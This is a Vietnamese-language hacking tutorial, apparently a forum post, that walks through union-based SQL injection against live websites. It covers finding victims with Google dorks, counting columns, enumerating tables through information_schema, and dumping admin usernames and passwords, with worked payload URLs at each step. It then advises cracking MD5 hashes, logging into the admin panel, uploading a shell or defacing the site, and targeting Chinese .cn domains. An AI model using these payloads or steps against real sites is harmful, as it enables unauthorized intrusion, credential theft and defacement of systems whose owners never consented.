![]() |
SQL Injection Attack Overiew |
SQL injection có thể cho phép những kẻ tấn công thực hiện các thao tác, delete, insert, update,… trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy, lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase...
1. Chuẩn bị :
+ Hackbar (Vào https://addons.mozilla.org/vi/firefox -> search " Hackbar " )
+ Link victim
2. Cách làm :
- Bước 1 :
+ Tìm lỗ hỏng bằng google dork
Dork Vd : inurl : index.php?id=
Vd web victim : domain/index.php?id=23
- Bước 2 :
+ Kiểm tra lỗi bằng cách thêm dấu ' ở id
Vd : domain/index.php?id=23'
* Sẽ hiện ra lỗi (ko có gì hết hoặc thông báo dạng Warning,...)
=> Web này bị lỗi => Tiến hành khai thác
- Bước 3 :
+ Dùng Lệnh Order By Để Tìm Số Cột (Column)
Vd : domain/index.php?id=23 order by 5-- - ==> Ko Lỗi
domain/index.php?id=23 order by 10-- - ==> Lỗi
=> 5 < x < 10 (x là số cột)
- Cứ thế tìm tiếp, để tìm ra x tận cùng
=> 7<x<9 => Số cột là 8
- Bước 4 :
+ Dùng lệnh UNION SELECT để khai thác
+ Vd : domain/index.php?id=23 UNION SELECT 1,2,3,4,5,6,7,8-- -
* Lưu ý : Sẽ có site ko thấy gì chúng ta thay ?id=23 thành ?id=null
->Vd : domain/index.php?id=null UNION SELECT 1,2,3,4,5,6,7,8-- -
- Bước 5 :
+ Nếu thấy cột nào đó xuật hiện -> đó là cột bị lỗi -> ta khai thác nó
Vd : Cột 3 bị lỗi
- Ta sẽ có đường link như sau : domain/index.php?id=null UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema=database()-- -
* CHÚ THÍCH : + Thay thế group_concat(table_name) ở cột bị lỗi (ở đây là cột 3 - như trên đã nói)
+ Thêm : "from information_schema.tables where table_schema=database()" vào cuối để tìm ra các table có trong database
- Xong bước 5 sẽ có dạng : binhluan,category,categoryl,cauhinh,cauhinhsanpham,chitietdatphong,chitietdatthucdon,.. gì đó
- Bước 6 :
+ Chúng Ta Cần Tìm ID và Pass Của Admin - > Nên Ta Sẽ Chọn Table Có Liên Quan Đến Tài Khoản Người Dùng (Vd : users, account, thanhvien, admin,...)
+ Tiếp Theo Tìm Các Column Trong Table có liên quan đó . Cần Phãi Encode tên table sang mã Hex Và thêm trước nó "0x" Để Hệ Thống Biết Đó Là Mã Hex .
+ Vd : Mã Hex của tên table đó là 7461696b686f616e Thêm "0x" ỡ đầu sẽ thành :
0x7461696b686f616e => Thay Mã Hex này Với Database()
+ Vd ở trên là: domain/index.php?id=null UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema=database()-- -
* Sửa lại thành : domain/index.php?id=null UNION SELECT 1,2,group_concat(columns_name),4,5,6,7,8 from information_schema.columns where table_name=0x7461696b686f616e-- -
- Bước 7 :
+ Lúc này sẽ có table của cái đó là : Vd : id,user,pass
+ Tiếp theo lấy giá trị từ các column này ra ( Ko Cần Dùng Mã Hex Cho Các Tên Column Này )
Đổi lại ở 1 số chỗ :
domain/index.php?id=null UNION SELECT 1,2,group_concat(id,0x207c20,name,0x207c20,pass,0x207c20),4,5,6,7,8 from taikhoan-- -
* Lưu ý: Mã Hex 0x207c20 Là Mã Hex Của " | " - Để Phân Cách Các Giá Trị Sau Khi Get Cho Dễ Nhìn -> Ko Cần Thiết Lắm
+ Xóa Hết Phần Sau Chừa Lại from Và Thêm Tên Table Mà Hồi Nãy Mình Khai Thác
+ Lúc này ta sẽ được : 1 | admin | vuilachinh123
* CHÚ THÍCH : ~ ID: admin
~ Pass : vuilachinh123
~ Số 1 : Số User trong site của database đó
Lưu ý : Nếu pass là các dãy số -> Nhớ giải md5 rùi mới đăng nhập vào được.
- Bước 8 :
+ Tìm link admin của web (Thường thì là domain/admin gì đó )
Nếu ko phải thì dùng tool quét cũng dc (vd : haivj,...)
-> Cả 1 vấn đề ấy nha => Quan trọng
+ Đăng nhập vào là xong
~ Có thể up shell , deface hay gì đó
P/s : Ko nên làm trên mấy web VN, làm trên máy web China ấy, tên miền là .cn, dùng dork google để kiếm nha (dạng : inurl:page.php?id= site:cn)
Video hướng dẫn : https://www.youtube.com/watch?v=p7g6l4weNGw
Chúc các bạn thành công !